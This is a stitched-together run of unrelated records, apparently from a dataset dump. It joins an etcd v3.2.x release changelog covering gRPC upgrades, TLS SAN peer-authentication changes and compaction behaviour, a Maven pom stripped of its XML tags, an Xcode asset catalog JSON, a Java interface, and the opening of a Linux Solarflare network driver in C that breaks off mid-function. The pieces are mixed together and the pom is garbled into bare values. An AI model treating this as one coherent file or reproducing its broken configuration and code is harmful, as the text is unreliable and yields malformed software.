    \n\n\n## [v3.2.11](https://github.com/etcd-io/etcd/releases/tag/v3.2.11) (2017-12-05)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.10...v3.2.11) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Dependency\n\n- Upgrade [`google.golang.org/grpc`](https://github.com/grpc/grpc-go/releases/tag) from [**`v1.7.3`**](https://github.com/grpc/grpc-go/releases/tag/v1.7.3) to [**`v1.7.4`**](https://github.com/grpc/grpc-go/releases/tag/v1.7.4).\n\n### Security, Authentication\n\nSee [security doc](https://github.com/etcd-io/etcd/blob/master/Documentation/op-guide/security.md) for more details.\n\n- Log [more details on TLS handshake failures](https://github.com/etcd-io/etcd/pull/8952/files).\n\n### client v3\n\n- Fix racey grpc-go's server handler transport `WriteStatus` call to prevent [TLS-enabled etcd server crash](https://github.com/etcd-io/etcd/issues/8904).\n- Add [gRPC RPC failure warnings](https://github.com/etcd-io/etcd/pull/8939) to help debug such issues in the future.\n\n### Documentation\n\n- Remove `--listen-metrics-urls` flag in monitoring document (non-released in `v3.2.x`, planned for `v3.3.x`).\n\n### Go\n\n- Compile with [*Go 1.8.5*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.10](https://github.com/etcd-io/etcd/releases/tag/v3.2.10) (2017-11-16)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.9...v3.2.10) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Dependency\n\n- Upgrade [`google.golang.org/grpc`](https://github.com/grpc/grpc-go/releases/tag) from [**`v1.2.1`**](https://github.com/grpc/grpc-go/releases/tag/v1.2.1) to [**`v1.7.3`**](https://github.com/grpc/grpc-go/releases/tag/v1.7.3).\n- Upgrade [`github.com/grpc-ecosystem/grpc-gateway`](https://github.com/grpc-ecosystem/grpc-gateway/releases) from [**`v1.2.0`**](https://github.com/grpc-ecosystem/grpc-gateway/releases/tag/v1.2.0) to [**`v1.3`**](https://github.com/grpc-ecosystem/grpc-gateway/releases/tag/v1.3).\n\n### Security, Authentication\n\nSee [security doc](https://github.com/etcd-io/etcd/blob/master/Documentation/op-guide/security.md) for more details.\n\n- Revert [discovery SRV auth `ServerName` with `*.{ROOT_DOMAIN}`](https://github.com/etcd-io/etcd/pull/8651) to support non-wildcard subject alternative names in the certs (see [issue #8445](https://github.com/etcd-io/etcd/issues/8445) for more contexts).\n - For instance, `etcd --discovery-srv=etcd.local` will only authenticate peers/clients when the provided certs have root domain `etcd.local` (**not `*.etcd.local`**) as an entry in Subject Alternative Name (SAN) field.\n\n### etcd server\n\n- Replace backend key-value database `boltdb/bolt` with [`coreos/bbolt`](https://github.com/coreos/bbolt/releases) to address [backend database size issue](https://github.com/etcd-io/etcd/issues/8009).\n\n### client v3\n\n- Rewrite balancer to handle [network partitions](https://github.com/etcd-io/etcd/issues/8711).\n\n### Go\n\n- Compile with [*Go 1.8.5*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.9](https://github.com/etcd-io/etcd/releases/tag/v3.2.9) (2017-10-06)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.8...v3.2.9) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Security, Authentication\n\nSee [security doc](https://github.com/etcd-io/etcd/blob/master/Documentation/op-guide/security.md) for more details.\n\n- Update `golang.org/x/crypto/bcrypt` (see [golang/crypto@6c586e1](https://github.com/golang/crypto/commit/6c586e17d90a7d08bbbc4069984180dce3b04117)).\n- Fix discovery SRV bootstrapping to [authenticate `ServerName` with `*.{ROOT_DOMAIN}`](https://github.com/etcd-io/etcd/pull/8651), in order to support sub-domain wildcard matching (see [issue #8445](https://github.com/etcd-io/etcd/issues/8445) for more contexts).\n - For instance, `etcd --discovery-srv=etcd.local` will only authenticate peers/clients when the provided certs have root domain `*.etcd.local` as an entry in Subject Alternative Name (SAN) field.\n\n### Go\n\n- Compile with [*Go 1.8.4*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.8](https://github.com/etcd-io/etcd/releases/tag/v3.2.8) (2017-09-29)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.7...v3.2.8) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### client v2\n\n- Fix v2 client failover to next endpoint on mutable operation.\n\n### gRPC Proxy\n\n- Handle [`KeysOnly` flag](https://github.com/etcd-io/etcd/pull/8552).\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.7](https://github.com/etcd-io/etcd/releases/tag/v3.2.7) (2017-09-01)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.6...v3.2.7) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Security, Authentication\n\n- Fix [server-side auth so concurrent auth operations do not return old revision error](https://github.com/etcd-io/etcd/pull/8306).\n\n### client v3\n\n- Fix [`concurrency/stm` Put with serializable snapshot](https://github.com/etcd-io/etcd/pull/8439).\n - Use store revision from first fetch to resolve write conflicts instead of modified revision.\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.6](https://github.com/etcd-io/etcd/releases/tag/v3.2.6) (2017-08-21)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.5...v3.2.6) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Fix watch restore from snapshot.\n- Fix multiple URLs for `--listen-peer-urls` flag.\n- Add `--enable-pprof` flag to etcd configuration file format.\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Fix `etcd_debugging_mvcc_keys_total` inconsistency.\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.5](https://github.com/etcd-io/etcd/releases/tag/v3.2.5) (2017-08-04)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.4...v3.2.5) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcdctl v3\n\n- Return non-zero exit code on unhealthy `endpoint health`.\n\n### Security, Authentication\n\nSee [security doc](https://github.com/etcd-io/etcd/blob/master/Documentation/op-guide/security.md) for more details.\n\n- [Server supports reverse-lookup on wildcard DNS `SAN`](https://github.com/etcd-io/etcd/pull/8281). For instance, if peer cert contains only DNS names (no IP addresses) in Subject Alternative Name (SAN) field, server first reverse-lookups the remote IP address to get a list of names mapping to that address (e.g. `nslookup IPADDR`). Then accepts the connection if those names have a matching name with peer cert's DNS names (either by exact or wildcard match). If none is matched, server forward-lookups each DNS entry in peer cert (e.g. look up `example.default.svc` when the entry is `*.example.default.svc`), and accepts connection only when the host's resolved addresses have the matching IP address with the peer's remote IP address. For example, peer B's CSR (with `cfssl`) SAN field is `[\"*.example.default.svc\", \"*.example.default.svc.cluster.local\"]` when peer B's remote IP address is `10.138.0.2`. When peer B tries to join the cluster, peer A reverse-lookup the IP `10.138.0.2` to get the list of host names. And either exact or wildcard match the host names with peer B's cert DNS names in Subject Alternative Name (SAN) field. If none of reverse/forward lookups worked, it returns an error `\"tls: \"10.138.0.2\" does not match any of DNSNames [\"*.example.default.svc\",\"*.example.default.svc.cluster.local\"]`. See [issue#8268](https://github.com/etcd-io/etcd/issues/8268) for more detail.\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Fix unreachable `/metrics` endpoint when `--enable-v2=false`.\n\n### gRPC Proxy\n\n- Handle [`PrevKv` flag](https://github.com/etcd-io/etcd/pull/8366).\n\n### Other\n\n- Add container registry `gcr.io/etcd-development/etcd`.\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.4](https://github.com/etcd-io/etcd/releases/tag/v3.2.4) (2017-07-19)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.3...v3.2.4) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Do not block on active client stream when stopping server\n\n### gRPC proxy\n\n- Fix gRPC proxy Snapshot RPC error handling\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.3](https://github.com/etcd-io/etcd/releases/tag/v3.2.3) (2017-07-14)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.2...v3.2.3) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### client v3\n\n- Let clients establish unlimited streams\n\n### Other\n\n- Tag docker images with minor versions\n - e.g. `docker pull quay.io/coreos/etcd:v3.2` to fetch latest v3.2 versions\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.2](https://github.com/etcd-io/etcd/releases/tag/v3.2.2) (2017-07-07)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.1...v3.2.2) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Improved\n\n- Rate-limit lease revoke on expiration.\n- Extend leases on promote to avoid queueing effect on lease expiration.\n\n### Security, Authentication\n\nSee [security doc](https://github.com/etcd-io/etcd/blob/master/Documentation/op-guide/security.md) for more details.\n\n- [Server accepts connections if IP matches, without checking DNS entries](https://github.com/etcd-io/etcd/pull/8223). For instance, if peer cert contains IP addresses and DNS names in Subject Alternative Name (SAN) field, and the remote IP address matches one of those IP addresses, server just accepts connection without further checking the DNS names. For example, peer B's CSR (with `cfssl`) SAN field is `[\"invalid.domain\", \"10.138.0.2\"]` when peer B's remote IP address is `10.138.0.2` and `invalid.domain` is a invalid host. When peer B tries to join the cluster, peer A successfully authenticates B, since Subject Alternative Name (SAN) field has a valid matching IP address. See [issue#8206](https://github.com/etcd-io/etcd/issues/8206) for more detail.\n\n### etcd server\n\n- Accept connection with matched IP SAN but no DNS match.\n - Don't check DNS entries in certs if there's a matching IP.\n\n### gRPC gateway\n\n- Use user-provided listen address to connect to gRPC gateway.\n - `net.Listener` rewrites IPv4 0.0.0.0 to IPv6 [::], breaking IPv6 disabled hosts.\n - Only v3.2.0, v3.2.1 are affected.\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.1](https://github.com/etcd-io/etcd/releases/tag/v3.2.1) (2017-06-23)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.0...v3.2.1) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Fix backend database in-memory index corruption issue on restore (only 3.2.0 is affected).\n\n### gRPC gateway\n\n- Fix Txn marshaling.\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Fix backend database size debugging metrics.\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.0](https://github.com/etcd-io/etcd/releases/tag/v3.2.0) (2017-06-09)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.1.0...v3.2.0) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Improved\n\n- Improve backend read concurrency.\n\n### Breaking Changes\n\n- Increased [`--snapshot-count` default value from 10,000 to 100,000](https://github.com/etcd-io/etcd/pull/7160).\n - Higher snapshot count means it holds Raft entries in memory for longer before discarding old entries.\n - It is a trade-off between less frequent snapshotting and [higher memory usage](https://github.com/kubernetes/kubernetes/issues/60589#issuecomment-371977156).\n - User lower `--snapshot-count` value for lower memory usage.\n - User higher `--snapshot-count` value for better availabilities of slow followers (less frequent snapshots from leader).\n- `clientv3.Lease.TimeToLive` returns `LeaseTimeToLiveResponse.TTL == -1` on lease not found.\n- `clientv3.NewFromConfigFile` is moved to `clientv3/yaml.NewConfig`.\n- `embed.Etcd.Peers` field is now `[]*peerListener`.\n- Rejects domains names for `--listen-peer-urls` and `--listen-client-urls` (3.1 only prints out warnings), since [domain name is invalid for network interface binding](https://github.com/etcd-io/etcd/issues/6336).\n\n### Dependency\n\n- Upgrade [`google.golang.org/grpc`](https://github.com/grpc/grpc-go/releases) from [**`v1.0.4`**](https://github.com/grpc/grpc-go/releases/tag/v1.0.4) to [**`v1.2.1`**](https://github.com/grpc/grpc-go/releases/tag/v1.2.1).\n- Upgrade [`github.com/grpc-ecosystem/grpc-gateway`](https://github.com/grpc-ecosystem/grpc-gateway/releases) to [**`v1.2.0`**](https://github.com/grpc-ecosystem/grpc-gateway/releases/tag/v1.2.0).\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Add [`etcd_disk_backend_snapshot_duration_seconds`](https://github.com/etcd-io/etcd/pull/7892)\n- Add `etcd_debugging_server_lease_expired_total` metrics.\n\n### Security, Authentication\n\nSee [security doc](https://github.com/etcd-io/etcd/blob/master/Documentation/op-guide/security.md) for more details.\n\n- [TLS certificates get reloaded on every client connection](https://github.com/etcd-io/etcd/pull/7829). This is useful when replacing expiry certs without stopping etcd servers; it can be done by overwriting old certs with new ones. Refreshing certs for every connection should not have too much overhead, but can be improved in the future, with caching layer. Example tests can be found [here](https://github.com/etcd-io/etcd/blob/b041ce5d514a4b4aaeefbffb008f0c7570a18986/integration/v3_grpc_test.go#L1601-L1757).\n- [Server denies incoming peer certs with wrong IP `SAN`](https://github.com/etcd-io/etcd/pull/7687). For instance, if peer cert contains any IP addresses in Subject Alternative Name (SAN) field, server authenticates a peer only when the remote IP address matches one of those IP addresses. This is to prevent unauthorized endpoints from joining the cluster. For example, peer B's CSR (with `cfssl`) SAN field is `[\"*.example.default.svc\", \"*.example.default.svc.cluster.local\", \"10.138.0.27\"]` when peer B's actual IP address is `10.138.0.2`, not `10.138.0.27`. When peer B tries to join the cluster, peer A will reject B with the error `x509: certificate is valid for 10.138.0.27, not 10.138.0.2`, because B's remote IP address does not match the one in Subject Alternative Name (SAN) field.\n- [Server resolves TLS `DNSNames` when checking `SAN`](https://github.com/etcd-io/etcd/pull/7767). For instance, if peer cert contains only DNS names (no IP addresses) in Subject Alternative Name (SAN) field, server authenticates a peer only when forward-lookups (`dig b.com`) on those DNS names have matching IP with the remote IP address. For example, peer B's CSR (with `cfssl`) SAN field is `[\"b.com\"]` when peer B's remote IP address is `10.138.0.2`. When peer B tries to join the cluster, peer A looks up the incoming host `b.com` to get the list of IP addresses (e.g. `dig b.com`). And rejects B if the list does not contain the IP `10.138.0.2`, with the error `tls: 10.138.0.2 does not match any of DNSNames [\"b.com\"]`.\n- Auth support JWT token.\n\n### etcd server\n\n- RPCs\n - Add Election, Lock service.\n- Native client `etcdserver/api/v3client`\n - client \"embedded\" in the server.\n- Logging, monitoring\n - Server warns large snapshot operations.\n- Add `etcd --enable-v2` flag to enable v2 API server.\n - `etcd --enable-v2=true` by default.\n- Add `etcd --auth-token` flag.\n- v3.2 compactor runs [every hour](https://github.com/etcd-io/etcd/pull/7875).\n - Compactor only supports periodic compaction.\n - Compactor continues to record latest revisions every 5-minute.\n - For every hour, it uses the last revision that was fetched before compaction period, from the revision records that were collected every 5-minute.\n - That is, for every hour, compactor discards historical data created before compaction period.\n - The retention window of compaction period moves to next hour.\n - For instance, when hourly writes are 100 and `--auto-compaction-retention=10`, v3.1 compacts revision 1000, 2000, and 3000 for every 10-hour, while v3.2 compacts revision 1000, 1100, and 1200 for every 1-hour.\n - If compaction succeeds or requested revision has already been compacted, it resets period timer and removes used compacted revision from historical revision records (e.g. start next revision collect and compaction from previously collected revisions).\n - If compaction fails, it retries in 5 minutes.\n- Allow snapshot over 512MB.\n\n### client v3\n\n- STM prefetching.\n- Add namespace feature.\n- Add `ErrOldCluster` with server version checking.\n- Translate `WithPrefix()` into `WithFromKey()` for empty key.\n\n### etcdctl v3\n\n- Add `check perf` command.\n- Add `etcdctl --from-key` flag to role grant-permission command.\n- `lock` command takes an optional command to execute.\n\n### gRPC Proxy\n\n- Proxy endpoint discovery.\n- Namespaces.\n- Coalesce lease requests.\n\n### etcd gateway\n\n- Support [DNS SRV priority](https://github.com/etcd-io/etcd/pull/7882) for [smart proxy routing](https://github.com/etcd-io/etcd/issues/4378).\n\n### Other\n\n- v3 client\n - concurrency package's elections updated to match RPC interfaces.\n - let client dial endpoints not in the balancer.\n- Release\n - Annotate acbuild with supports-systemd-notify.\n - Add `nsswitch.conf` to Docker container image.\n - Add ppc64le, arm64(experimental) builds.\n\n### Go\n\n- Compile with [*Go 1.8.3*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n"} +{"text": "\n tabscrollattacherlib\n\n"} +{"text": "\n\n 4.0.0\n\n com.mashibing\n spring_aop_tx\n 1.0-SNAPSHOT\n \n \n \n junit\n junit\n 4.12\n test\n \n \n \n org.springframework\n spring-context\n 5.2.3.RELEASE\n \n \n \n cglib\n cglib\n 3.3.0\n \n \n \n org.aspectj\n aspectjweaver\n 1.9.5\n \n \n \n aopalliance\n aopalliance\n 1.0\n \n \n \n org.springframework\n spring-aspects\n 5.2.3.RELEASE\n \n \n \n com.alibaba\n druid\n 1.1.21\n \n \n \n mysql\n mysql-connector-java\n 5.1.48\n \n\n \n\n"} +{"text": "{\n \"images\" : [\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"veganIcon.png\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"veganIcon@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"veganIcon@3x.png\",\n \"scale\" : \"3x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} +{"text": "package com.ccnode.codegenerator.util;\n\n/**\n * Created by zhengjun on 7/15/15.\n */\npublic interface LineGenerator {\n String generateLine(T t);\n}\n"} +{"text": "/****************************************************************************\n * Driver for Solarflare Solarstorm network controllers and boards\n * Copyright 2005-2006 Fen Systems Ltd.\n * Copyright 2006-2009 Solarflare Communications Inc.\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 as published\n * by the Free Software Foundation, incorporated herein by reference.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \"net_driver.h\"\n#include \"bitfield.h\"\n#include \"efx.h\"\n#include \"nic.h\"\n#include \"regs.h\"\n#include \"io.h\"\n#include \"workarounds.h\"\n\n/**************************************************************************\n *\n * Configurable values\n *\n **************************************************************************\n */\n\n/* This is set to 16 for a good reason. In summary, if larger than\n * 16, the descriptor cache holds more than a default socket\n * buffer's worth of packets (for UDP we can only have at most one\n * socket buffer's worth outstanding). This combined with the fact\n * that we only get 1 TX event per descriptor cache means the NIC\n * goes idle.\n */\n#define TX_DC_ENTRIES 16\n#define TX_DC_ENTRIES_ORDER 1\n\n#define RX_DC_ENTRIES 64\n#define RX_DC_ENTRIES_ORDER 3\n\n/* RX FIFO XOFF watermark\n *\n * When the amount of the RX FIFO increases used increases past this\n * watermark send XOFF. Only used if RX flow control is enabled (ethtool -A)\n * This also has an effect on RX/TX arbitration\n */\nint efx_nic_rx_xoff_thresh = -1;\nmodule_param_named(rx_xoff_thresh_bytes, efx_nic_rx_xoff_thresh, int, 0644);\nMODULE_PARM_DESC(rx_xoff_thresh_bytes, \"RX fifo XOFF threshold\");\n\n/* RX FIFO XON watermark\n *\n * When the amount of the RX FIFO used decreases below this\n * watermark send XON. Only used if TX flow control is enabled (ethtool -A)\n * This also has an effect on RX/TX arbitration\n */\nint efx_nic_rx_xon_thresh = -1;\nmodule_param_named(rx_xon_thresh_bytes, efx_nic_rx_xon_thresh, int, 0644);\nMODULE_PARM_DESC(rx_xon_thresh_bytes, \"RX fifo XON threshold\");\n\n/* If EFX_MAX_INT_ERRORS internal errors occur within\n * EFX_INT_ERROR_EXPIRE seconds, we consider the NIC broken and\n * disable it.\n */\n#define EFX_INT_ERROR_EXPIRE 3600\n#define EFX_MAX_INT_ERRORS 5\n\n/* We poll for events every FLUSH_INTERVAL ms, and check FLUSH_POLL_COUNT times\n */\n#define EFX_FLUSH_INTERVAL 10\n#define EFX_FLUSH_POLL_COUNT 100\n\n/* Size and alignment of special buffers (4KB) */\n#define EFX_BUF_SIZE 4096\n\n/* Depth of RX flush request fifo */\n#define EFX_RX_FLUSH_COUNT 4\n\n/* Generated event code for efx_generate_test_event() */\n#define EFX_CHANNEL_MAGIC_TEST(_channel)\t\\\n\t(0x00010100 + (_channel)->channel)\n\n/* Generated event code for efx_generate_fill_event() */\n#define EFX_CHANNEL_MAGIC_FILL(_channel)\t\\\n\t(0x00010200 + (_channel)->channel)\n\n/**************************************************************************\n *\n * Solarstorm hardware access\n *\n **************************************************************************/\n\nstatic inline void efx_write_buf_tbl(struct efx_nic *efx, efx_qword_t *value,\n\t\t\t\t unsigned int index)\n{\n\tefx_sram_writeq(efx, efx->membase + efx->type->buf_tbl_base,\n\t\t\tvalue, index);\n}\n\n/* Read the current event from the event queue */\nstatic inline efx_qword_t *efx_event(struct efx_channel *channel,\n\t\t\t\t unsigned int index)\n{\n\treturn (((efx_qword_t *) (channel->eventq.addr)) + index);\n}\n\n/* See if an event is present\n *\n * We check both the high and low dword of the event for all ones. We\n * wrote all ones when we cleared the event, and no valid event can\n * have all ones in either its high or low dwords. This approach is\n * robust against reordering.\n *\n * Note that using a single 64-bit comparison is incorrect; even\n * though the CPU read will be atomic, the DMA write may not be.\n */\nstatic inline int efx_event_present(efx_qword_t *event)\n{\n\treturn (!(EFX_DWORD_IS_ALL_ONES(event->dword[0]) |\n\t\t EFX_DWORD_IS_ALL_ONES(event->dword[1])));\n}\n\nstatic bool efx_masked_compare_oword(const efx_oword_t *a, const efx_oword_t *b,\n\t\t\t\t const efx_oword_t *mask)\n{\n\treturn ((a->u64[0] ^ b->u64[0]) & mask->u64[0]) ||\n\t\t((a->u64[1] ^ b->u64[1]) & mask->u64[1]);\n}\n\nint efx_nic_test_registers(struct efx_nic *efx,\n\t\t\t const struct efx_nic_register_test *regs,\n\t\t\t size_t n_regs)\n{\n\tunsigned address = 0, i, j;\n\tefx_oword_t mask, imask, original, reg, buf;\n\n\t/* Falcon should be in loopback to isolate the XMAC from the PHY */\n\tWARN_ON(!LOOPBACK_INTERNAL(efx));\n\n\tfor (i = 0; i < n_regs; ++i) {\n\t\taddress = regs[i].address;\n\t\tmask = imask = regs[i].mask;\n\t\tEFX_INVERT_OWORD(imask);\n\n\t\tefx_reado(efx, &original, address);\n\n\t\t/* bit sweep on and off */\n\t\tfor (j = 0; j < 128; j++) {\n\t\t\tif (!EFX_EXTRACT_OWORD32(mask, j, j))\n\t\t\t\tcontinue;\n\n\t\t\t/* Test this testable bit can be set in isolation */\n\t\t\tEFX_AND_OWORD(reg, original, mask);\n\t\t\tEFX_SET_OWORD32(reg, j, j, 1);\n\n\t\t\tefx_writeo(efx, ®, address);\n\t\t\tefx_reado(efx, &buf, address);\n\n\t\t\tif (efx_masked_compare_oword(®, &buf, &mask))\n\t\t\t\tgoto fail;\n\n\t\t\t/* Test this testable bit can be cleared in isolation */\n\t\t\tEFX_OR_OWORD(reg, original, mask);\n\t\t\tEFX_SET_OWORD32(reg, j, j, 0);\n\n\t\t\tefx_writeo(efx, ®, address);\n\t\t\tefx_reado(efx, &buf, address);\n\n\t\t\tif (efx_masked_compare_oword(®, &buf, &mask))\n\t\t\t\tgoto fail;\n\t\t}\n\n\t\tefx_writeo(efx, &original, address);\n\t}\n\n\treturn 0;\n\nfail:\n\tnetif_err(efx, hw, efx->net_dev,\n\t\t \"wrote \"EFX_OWORD_FMT\" read \"EFX_OWORD_FMT\n\t\t \" at address 0x%x mask \"EFX_OWORD_FMT\"\\n\", EFX_OWORD_VAL(reg),\n\t\t EFX_OWORD_VAL(buf), address, EFX_OWORD_VAL(mask));\n\treturn -EIO;\n}\n\n/**************************************************************************\n *\n * Special buffer handling\n * Special buffers are used for event queues and the TX and RX\n * descriptor rings.\n *\n *************************************************************************/\n\n/*\n * Initialise a special buffer\n *\n * This will define a buffer (previously allocated via\n * efx_alloc_special_buffer()) in the buffer table, allowing\n * it to be used for event queues, descriptor rings etc.\n */\nstatic void\nefx_init_special_buffer(struct efx_nic *efx, struct efx_special_buffer *buffer)\n{\n\tefx_qword_t buf_desc;\n\tint index;\n\tdma_addr_t dma_addr;\n\tint i;\n\n\tEFX_BUG_ON_PARANOID(!buffer->addr);\n\n\t/* Write buffer descriptors to NIC */\n\tfor (i = 0; i < buffer->entries; i++) {\n\t\tindex = buffer->index + i;\n\t\tdma_addr = buffer->dma_addr + (i * 4096);\n\t\tnetif_dbg(efx, probe, efx->net_dev,\n\t\t\t \"mapping special buffer %d at %llx\\n\",\n\t\t\t index, (unsigned long long)dma_addr);\n\t\tEFX_POPULATE_QWORD_3(buf_desc,\n\t\t\t\t FRF_AZ_BUF_ADR_REGION, 0,\n\t\t\t\t FRF_AZ_BUF_ADR_FBUF, dma_addr >> 12,\n\t\t\t\t FRF_AZ_BUF_OWNER_ID_FBUF, 0);\n\t\tefx_write_buf_tbl(efx, &buf_desc, index);\n\t}\n}\n\n/* Unmaps a buffer and clears the buffer table entries */\nstatic void\nefx_fini_special_buffer(struct efx_nic *efx, struct efx_special_buffer *buffer)\n{\n\tefx_oword_t buf_tbl_upd;\n\tunsigned int start = buffer->index;\n\tunsigned int end = (buffer->index + buffer->entries - 1);\n\n\tif (!buffer->entries)\n\t\treturn;\n\n\tnetif_dbg(efx, hw, efx->net_dev, \"unmapping special buffers %d-%d\\n\",\n\t\t buffer->index, buffer->index + buffer->entries - 1);\n\n\tEFX_POPULATE_OWORD_4(buf_tbl_upd,\n\t\t\t FRF_AZ_BUF_UPD_CMD, 0,\n\t\t\t FRF_AZ_BUF_CLR_CMD, 1,\n\t\t\t FRF_AZ_BUF_CLR_END_ID, end,\n\t\t\t FRF_AZ_BUF_CLR_START_ID, start);\n\tefx_writeo(efx, &buf_tbl_upd, FR_AZ_BUF_TBL_UPD);\n}\n\n/*\n * Allocate a new special buffer\n *\n * This allocates memory for a new buffer, clears it and allocates a\n * new buffer ID range. It does not write into the buffer table.\n *\n * This call will allocate 4KB buffers, since 8KB buffers can't be\n * used for event queues and descriptor rings.\n */\nstatic int 